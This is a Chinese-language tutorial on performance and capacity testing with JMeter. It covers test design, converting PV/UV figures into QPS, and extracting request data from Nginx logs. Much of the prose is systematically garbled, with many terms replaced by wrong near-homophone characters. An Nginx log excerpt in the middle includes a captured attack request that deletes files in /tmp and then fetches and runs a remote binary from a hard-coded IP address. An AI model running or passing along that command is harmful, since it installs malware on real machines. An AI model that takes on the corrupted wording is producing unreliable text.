编辑
1.1 测试步骤总览
需要剖析与测试设计（性能需求指标 + 业务模型拆解）
测试数据筹备和结构(基于模型的数据筹备)
性能指标预期(性能需求指标)
发压工具配置及脚本编写（压力策略）
测试过程（预计的前置筹备过程和压测工夫点布局）
后果剖析与测试报告
1.2 测试模型剖析
如下的测试模型来简略的阐明测试中须要关注的点和测试的目标
编辑
字段阐明
1、横轴 : 代表并发数，也就对应着 Jmeter 外面的线程数
2、Utizilation(U) : 资源利用率
3、Throughput(X): 吞吐量，对应 QPS 或 TPS
4、ResponseTime®：响应工夫
拐点 剖析：
第一条虚线处的拐点代表着随着并发数的减少，资源利用率 (CPU 资源等) 和吞吐量也在随同着递增，这个时候咱们的响应工夫有小幅度的减少，然而在可承受的范畴之内；在这个点是做容量布局最好的参考点
第二条虚线处的拐点示意随着并发数的持续减少，系统资源曾经达到了瓶颈，吞吐量开始显著降落，响应工夫会大幅减少，也就是说曾经达到了性能的瓶颈，申请队列开始挤压，这个时候曾经重大影响用户体验或者有零碎解体的危险。
编辑
2.1 需要剖析与测试设计
此处从性能需求指标与业务模型拆解两方面着手，
1、指标场景分类：
新上线零碎性能测试：要求容量测试，零碎最大容量
系统升级类性能测试：和基线版本比照，性能不降落
新零碎性能优化测试：随同调优指标的性能测试
注：在前面的演示中，会以新零碎上线的容量测试为例，指标为获取零碎最大容量
字段阐明：基准测试：见下图，我的了解就是性能测试，找到最优的 QPS(TPS)点
编辑
容量测试：见下图，我的了解为压力测试，在达到性能瓶颈后持续加压，测试零碎的最大承载量
编辑
新零碎想要确定测试基准，就须要拿到数据，而产品个别是不会间接通知咱们 QPS 的，产品会通知咱们 PV/UV 天。
依据 PV、UV 再联合业务场景来计算确认咱们的测试需要；将其转化为小时或分钟，或秒；另外业务场景可能会几种在某个时间段，比方工作日的 8 个小时工夫：
UV：或者外卖产品则集中在午饭和晚饭的 2 个小时时间段，如果 UV 为 1000w/ 天，那么顶峰时段占了总用户数的 80%：
1000w 80% / (43600) = 每秒的并发用户数
PV：PV 能够间接对应到 QPS 指标，好比一个电商产品，产品别离给出了首页、商品页、订单页的 PV，便可依此来进行性能测试的基准设计。如果粗略的按 24 小时算 QPS 的话就是 QPS = PV(天)/24/3600
2、依据具体的性能测试需要，确定测试类型以及压测的模块(web/mysql/redis/ 零碎整体)
3、后期要与相干人员充沛沟通，初步确定压测计划及具体性能指标
4、QA 实现性能测试设计后，需产出测试计划文档发送邮件到项目组，并且再次与相干人员沟通(或者组织性能测试评审)，确认是否满足需要
2.2、测试数据筹备和结构
数据的筹备能够如下几点：
1、接口申请参数：本人结构、日志获取、高低关联
本人结构 ：本人抓包等，这个有个问题就是后端可能有缓存而造成对理论压力水平的影响
日志获取：举荐罕用，通过日志或数据库获取大批量的数据而后打散
例如，咱们的申请是通过 Nginx 转发的，那么能够通过 Nginx 的日志来获取申请数据, 现有如下的 log：
编辑
当初咱们能够利用 Linux 三剑客中的 awk 命令配合上排序的 shell 命令对 log 进行提取过滤, 找出访问量最高的申请：
$ cat access.log | awk ‘{print $7}’ | sort | uniq -c | sort -nr | head -15
4709 /sso/register
4703 /sso/login
157 400
139 /
8 http://www.baidu.com/cache/gl…
5 /index.php
4 mstshash=Administr”
4 /license.txt
4 ip.ws.126.net:443
4 “
2 /sso/getAuthCode?telephone=17138134641
2 /sso/getAuthCode?telephone=17127460936
2 /shell?cd+/tmp;+rm+-rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7
高低关联：有些数据咱们是无奈提前获取的，好比用户的订单数据和购物车数据，这些须要用户下单后生成，因而就须要在下单接口后通过高低关联的接口返回值来获取
2、数据表的数据填充：
能够利用 jmeter 的高并发通过接口来提前创立数据
3、如果是多接口，则须要联合业务场景设计申请比例：
比方用户浏览主页的 PV 和浏览商户的比例为 1：2，那么接口的比例设计也就依照 1：2 来设计。
2.3、性能指标预期
1. 每秒申请数（QPS）2. 申请响应工夫（最大，最小，平均值）3. 错误率
4. 机器性能：cpu idel30%,memory 无激烈抖动或飙升
5. 压测过程接口性能是否失常
6. 不同性能测试形式下指标预期是否有差别
2.4、发压工具配置及脚本编写
1. 发压工具筹备 -jmeter 简介(1) 集成包，解压即可应用，Windowns, Linux, Mac 通用（依赖 Java 环境）(2) jmx 文件为 xml 文件，Win，Linux 环境均可运行(3) 多线程并发(4) 运行完脚本会生成 jtl 日志，可在 Win、Mac 环境界面中查看、统计
应用 jmeter 能够做到：
压测场景 ：单接口 / 复杂事物——> 场景结构
压力需要 ：<1000QPS 或者万级以上的应用 Jmeter 分布式反对的形式
是否周期性 ：Jmeter jmx 场景文件，数据驱动，后果落库
二次开发需要 ：Jmeter 开源插件化思维，反对 Thrift
协定反对 ：Dubbo 等多种协定，能够疾速平台化
问题反对 ：凋谢社区，宽泛应用
2. 脚本编写
(1) HTTP
(2) 其余
3. 命令启动，Jmeter 自身也是软件，也有本人的承载限度，所以真正测试过程还是要以命令行运行的形式，UI 能够作为编写和调试脚本应用
启压：./jmeter -n -t hb.jmx-l hb.jtl
2.5 测试过程
1、测试前环境查看：记录机器参数
2、起压：依据被压状况，调节并发量到适合状况
3、查看记录各项性能指标 nginx 日志查看每秒申请数查看 nginx 谬误申请查看机器参数：cpu idel、mem 等查看 db 、cache 等数据是否写入失常拜访接口，查看性能是否失常
2.6 后果剖析与测试报告
1、依据测试过程中记录的各项参数，联合压测工具产生的日志，对测试后果进行剖析，并产出测试报告
2、测试实现后，及时与相干人员沟通，确认是都满足需要
3、发送测试报告邮件
以上只是做了个性能测试的基础知识铺垫，后续在此实践根底上，以电商业务为背景，联合 Docker +Jmeter +Influx +Grafana 实现一个实例压测与监控~